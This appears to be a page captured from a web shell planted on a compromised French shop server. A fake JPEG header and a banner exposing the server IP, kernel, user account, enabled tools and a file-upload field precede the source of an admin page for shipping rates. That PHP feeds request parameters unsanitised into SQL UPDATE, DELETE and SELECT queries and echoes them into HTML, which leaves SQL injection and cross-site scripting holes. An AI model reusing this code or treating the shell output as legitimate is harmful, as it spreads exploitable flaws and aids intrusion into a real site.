˙Ř˙ŕ JFIF ` ` ˙ţxŘ
| Server IP : 109.234.164.53 / Your IP : 216.73.216.110 Web Server : Apache System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64 User : computer3 ( 1098) PHP Version : 7.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/computer3/litsolide.com/ODLDDD_2/cp-admin/ |
Upload File : |
<?php
include_once('includes/header.php');
$id_volet ="25";
include('includes/volet.php');
/****************************/
// Modifications
if (isset($_GET['old_Weight']))
{
$id = $_GET['id'];
$old_Weight = $_GET['old_Weight'];
$old_price = $_GET['old_price'];
$price = $_GET['price'];
$weight = $_GET['weight'];
$bdd->exec("UPDATE " . $GLOBALS['db_table']['price_list'] . " SET weight = " . $weight . ", price = " . $price . " WHERE id_carrier = " . $id . " AND weight = " . $old_Weight . "");
}
$requete = $bdd->query("SELECT * FROM " . $GLOBALS['db_table']['carrier'] . " WHERE id = " . $_GET['id']);
$carrier = $requete->fetch();
// Suppression du tarif
if (isset($_GET['del']))
{
$weight = $_GET['del'];
$bdd->exec("DELETE FROM " . $GLOBALS['db_table']['price_list'] . " WHERE id_carrier = " . $_GET['id'] . " AND weight = '" . $weight ."'");
echo '<script>';
echo 'window.location = "details_carrier.php?id=' . $carrier['id'] . '"';
echo '</script>';
}
?>
<div class="container">
<div class="row">
<div class="span12">
<div class="page-header">
<h1>Gérer les tarifs du transporteur "<?php echo stripcslashes($carrier['name']); ?>"
<div class="pull-right">
<a href="carriers.php" class="btn btn-primary"><i class="icon-arrow-left"></i> Retour</a>
<a href="#" id="<?php echo $_GET['id']; ?>" class="new_price btn btn-primary"><i class="icon-plus"></i> Ajouter Tarif(s)</a>
</div>
</h1>
</div>
</div>
</div>
<table class="table table-bordered table-striped">
<thead>
<tr>
<th class="span3 center">Tranche de poids</th>
<th class="span1 center">Prix</th>
<th class="span1 center">Opérations</th>
</tr>
</thead>
<tbody>
<?php
$lastWeight = 0;
$requete = $bdd->query("SELECT * FROM " . $GLOBALS['db_table']['price_list'] . " WHERE id_carrier = " . $_GET['id'] . " ORDER BY weight");
if ($row = $requete->fetch()) {
do {
?>
<tr>
<td class="span1 font12 center">
De <b><?php echo $lastWeight; ?> g</b> Ă <b><?php echo stripcslashes($row['weight']); ?> g</b>
<a href="#" onclick="bascule('<?php echo $lastWeight; ?><?php echo$row['weight']; ?>'); return false;"><span style="font-size:12px">[Modifier]</a>
<div id='<?php echo $lastWeight; ?><?php echo$row['weight']; ?>' style='display:none;border:1px solid #ddd; border-radius:4px; padding: 20px;background-color: #F9F9F9'>
<form action="details_carrier.php" method="GET">
<br />
<input type="hidden" name="id" value="<?php echo $_GET['id']; ?>" />
<input type="hidden" name="old_price" value="<?php echo$row['price']; ?>" />
<input type="hidden" name="old_Weight" value="<?php echo$row['weight']; ?>" />
<table border="0" width="100%">
<tr>
<td><label for="price">Prix (Exemple : 2.35) :</label> </td>
<td><input type="text" name="price" value="<?php echo number_format ($row['price'] , 2, '.', ' '); ?>" style=""></td>
<td> </td>
</tr>
<tr>
<td><label for="weight">Poids limite en grammes :</label></td>
<td><input type="number" min="0" name="weight" value="<?php echo$row['weight']; ?>" style="" /></td>
<td><input type="submit" name="submit" class="btn btn-primary" value="Enregistrer" /></td>
</tr>
</table>
</form>
</div>
</td>
<td class="span1 font12 center">
<b><?php echo number_format ($row['price'] , 2, ',', ' '); ?> €</b>
</td>
<td class="span1 center" style="width: 71px;">
<?php
if ($_GET['id'] > 25) {
?>
<a href="./details_carrier.php?id=<?php echo $_GET['id']; ?>&del=<?php echo $row['weight']; ?>" onclick="return confirm('Êtes vous sur de vouloir supprimer cet élément ?');">
<img src="assets/img/delete.png" title="Supprimer le tarif" />
</a>
<?php
} else {
?>
Effacement impossible !
<?php
}
?>
</td>
</tr>
<?php
$lastWeight = $row['weight'] + 1;
}while ($row = $requete->fetch());
} else {
echo 'Aucune valeur Ă afficher !!!';
}
?>
</tbody>
</table>
</div>
<div class="modal hide fade" id="price_box" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true" wi>
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal" aria-hidden="true">x</button>
<h3 id="price_title_box_box_header">Nouvelle valeur</h3>
</div>
<div class="modal-body" id="price_box_content">
</div>
<div class="modal-footer">
<button class="btn" data-dismiss="modal" aria-hidden="true">Fermer</button>
<button class="btn btn-primary" id="insert_new_price">Enregistrer</button>
</div>
</div>
<script type="text/javascript">
$('.new_price').live('click', function(event) {
event.preventDefault();
var id = $(this).attr('id');
var weight = '';
var price = '';
$('#price_box').modal();
$('#price_box_content').html('<input type="hidden" id="id" value="'+id+'"><p>Séparateur décimaux : "." Exemple : "2.35"</p><label for="price">Prix :</label> <input type="text" id="price" value="'+price+'" style="width:95%;"><label for="weight">Poids limite :</label> <input type="number" min="0" id="weight" value="'+weight+'" style="width:95%;">');
});
$('#insert_new_price').live('click', function(event) {
event.preventDefault();
var id = $('#id').val();
var weight = $('#weight').val();
var price = $('#price').val();
$.ajax({
type: 'POST',
data: 'id='+id+'&price='+price+'&weight='+weight,
url: 'includes/listeners/insertNewPrice.php',
success: function(msg) {
if(msg!='') alert(msg);
else window.location.reload();
}
});
});
</script>
<?
include_once('includes/footer.php');
?>